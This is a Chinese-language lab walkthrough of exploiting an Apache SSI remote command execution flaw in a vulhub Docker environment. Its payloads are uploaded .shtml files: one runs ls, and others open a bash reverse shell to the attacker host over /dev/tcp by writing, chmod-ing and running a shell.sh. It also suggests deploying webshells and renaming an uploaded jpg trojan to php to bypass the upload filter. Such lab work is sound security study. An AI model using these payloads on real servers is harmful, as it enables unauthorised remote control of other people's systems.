漏洞原理:传送门
主机 | 角色 | IP |
---|---|---|
centos8 | 漏洞靶机 | 192.168.1.80 |
windows10 | 攻击主机 | 192.168.1.120 |
启动centos8主机
# 开启docker服务
service docker start
# 进入vulhub目录
cd /usr/sbin/vulhub/httpd/ssi-rce/
# 创建镜像
docker-compose build
# 启动镜像
docker-compose up -d
访问漏洞页面:
准备一个ls.shtml文件,内容如下:
<!--#exec cmd="ls"-->
上传该文件:
文件上传成功,点击超链接。
如图所示,命令被成功执行,且结果回显至页面。
准备一个shell.shtml文件,内容如下:
<!--#exec cmd="bash -i >& /dev/tcp/192.168.1.120/8888 0>&1"-->
上传文件:
在windows10上开启端口监听:
点击超链接,等待shell反弹:
结果等了好久shell也没有反弹,为了查找问题,我们现在docker容器内直接执行反弹shell的命令,看看能否成功:
发现成功反弹shell,说明语句没有问题,可能是ssi自身的问题,于是更换思路。
准备一个shell_2.shtml文件,内容如下:
<!--#exec cmd="echo 'bash -i >& /dev/tcp/192.168.1.120/8888 0>&1' > /var/www/html/shell.sh"-->
# 在/var/www/html/目录下创建一个反弹shell命令的shell.sh文件
<!--#exec cmd="chmod +x /var/www/html/shell.sh"-->
# 赋予该文件以执行权限
<!--#exec cmd="/bin/bash /var/www/html/shell.sh"-->
# 执行该文件
上传该文件:
在windows10主机上开启监听端口:
点击超链接,等待shell反弹:
如图所示,成功!
同样的道理,还可以用命令在指定目录下生成一个webshell,然后用菜刀或蚁剑去连接。再者可以先上传一个后缀为jpg的木马文件,然后再上传shtml文件,用命令将jpg改为php,同样可以达到效果。思路多样,比较灵活。
后端对php后缀的文件做了过滤,不过我们可以利用ssi远程命令执行漏洞上传shtml文件,最后反弹shell或上传webshell。